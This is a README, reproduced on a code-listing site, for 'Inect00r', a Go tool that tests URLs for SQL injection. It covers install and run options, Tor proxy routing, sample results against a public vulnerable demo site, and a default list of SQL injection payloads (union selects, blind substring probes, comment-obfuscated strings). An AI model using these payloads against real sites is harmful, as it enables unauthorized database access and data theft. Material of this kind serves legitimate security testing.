Code Monkey home page Code Monkey logo

inect00r's Introduction

Inect00r

 
▄▄▄▄▄      ▄▄▄  ▪   ▐ ▄  ▐▄▄▄▄▄▄ . ▄▄· ▄▄▄▄▄▄▄▄  
•██  ▪     ▀▄ █·██ •█▌▐█  ·██▀▄.▀·▐█ ▌▪•██  ▀▄ █·
 ▐█.▪ ▄█▀▄ ▐▀▀▄ ▐█·▐█▐▐▌▪▄ ██▐▀▀▪▄██ ▄▄ ▐█.▪▐▀▀▄ 
 ▐█▌·▐█▌.▐▌▐█•█▌▐█▌██▐█▌▐▌▐█▌▐█▄▄▌▐███▌ ▐█▌·▐█•█▌
 ▀▀▀  ▀█▄▀▪.▀  ▀▀▀▀▀▀ █▪ ▀▀▀• ▀▀▀ ·▀▀▀  ▀▀▀ .▀  ▀

Inect00r is a simple script to test some of my golang skills, since i am quite new to go i decided why not make all my python scripts golang, this is a script to test a url's inject-abilities

what can it do EX options

well this script is very basic, it can
. test inject urls through defualt lists
. test inject urls through custome lists
. use tor sockets to connect and tunnel to the client
. table out the data of the injectable url

requirements


. tor
. proxychain config file
. gotabulate

installs

< linux >
git clone https://github.com/ArkAngeL43/Inject00r.git ; chmod +x ./install.sh ; ./install.sh ; clear 

< windows > 
git clone https://github.com/ArkAngeL43/Injecto00r.git ; install ; cls 

run options

[*] Usage    -> go run main.go -t <target> 
[X] Extra    -> -p true|false <tor> -l <injection-list>
[X] Advances -> go run main.go -t <target> -p -l <main.txt> | note it must be a main.txt
---------------------------------------------------------------------------
  -h	Print the help menu and exit
  -l string
    	Use a list for SQL Testing
  -p string
    	Use tor proxies to connect to host
  -t string
    	target URL

usages

upon usages of tor this will pop 
[*] Online test passed.....
[*] Used Sock  :  socks5://127.0.0.1:9050
[*] Status Code:  200

this will tell you the proxy server is up and running, you are currently online, and the status code given from the server using the tor proxy

----------------------------
Using lists 

if you have your own custom word list then use the `-w` option aalong with the wordlist

NOTE: make sure your list is saved as main.txt or else the list will not be read or parsed 

---------------------------
normal usages 

go run main.go <url> -p true 

 
▄▄▄▄▄      ▄▄▄  ▪   ▐ ▄  ▐▄▄▄▄▄▄ . ▄▄· ▄▄▄▄▄▄▄▄  
•██  ▪     ▀▄ █·██ •█▌▐█  ·██▀▄.▀·▐█ ▌▪•██  ▀▄ █·
 ▐█.▪ ▄█▀▄ ▐▀▀▄ ▐█·▐█▐▐▌▪▄ ██▐▀▀▪▄██ ▄▄ ▐█.▪▐▀▀▄ 
 ▐█▌·▐█▌.▐▌▐█•█▌▐█▌██▐█▌▐▌▐█▌▐█▄▄▌▐███▌ ▐█▌·▐█•█▌
 ▀▀▀  ▀█▄▀▪.▀  ▀▀▀▀▀▀ █▪ ▀▀▀• ▀▀▀ ·▀▀▀  ▀▀▀ .▀  ▀
 +------------------------------------------------------+-------------------------+
|   http://testphp.vulnweb.com/listproducts.php?cat=1  |   Server is vulnerable  |
+======================================================+=========================+
|                          SQL                         |            1            |
+------------------------------------------------------+-------------------------+
|           An error | detected vulnerability          |                         |
+------------------------------------------------------+-------------------------+

 +------------------------------------------------------+------------------------------+
|   http://testphp.vulnweb.com/listproducts.php?cat=1  |     Server is vulnerable     |
+======================================================+==============================+
|                          SQL                         |   1 and user_name() = 'dbo'  |
+------------------------------------------------------+------------------------------+
|           An error | detected vulnerability          |                              |
+------------------------------------------------------+------------------------------+

 +------------------------------------------------------+-------------------------+
|   http://testphp.vulnweb.com/listproducts.php?cat=1  |   Server is vulnerable  |
+======================================================+=========================+
|                          SQL                         |    \'; desc users; --   |
+------------------------------------------------------+-------------------------+
|           An error | detected vulnerability          |                         |
+------------------------------------------------------+-------------------------+

 +------------------------------------------------------+-------------------------+
|   http://testphp.vulnweb.com/listproducts.php?cat=1  |   Server is vulnerable  |
+======================================================+=========================+
|                          SQL                         |           1\'1          |
+------------------------------------------------------+-------------------------+
|           An error | detected vulnerability          |                         |
+------------------------------------------------------+-------------------------+


defualt worlists


1
1 and user_name() = 'dbo'
\'; desc users; --
1\'1
1' and non_existant_table = '1
' or username is not NULL or username = '
1 and ascii(lower(substring((select top 1 name from sysobjects where xtype='u'), 1, 1))) > 116
1 union all select 1,2,3,4,5,6,name from sysobjects where xtype = 'u' --
1 uni/**/on select all from where

have fun~~~~

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.